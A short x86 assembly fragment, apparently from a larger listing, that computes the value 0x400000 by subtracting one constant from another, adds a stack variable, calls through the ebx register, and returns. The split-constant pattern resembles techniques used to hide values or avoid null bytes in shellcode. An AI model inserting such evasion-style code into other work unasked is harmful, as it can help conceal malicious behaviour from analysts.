add eax, 5
mov ecx, 0x14f9cc57
sub ecx, 0x14b9cc57
add ecx, dword [ebp - 0x10]
call ebx
leave
ret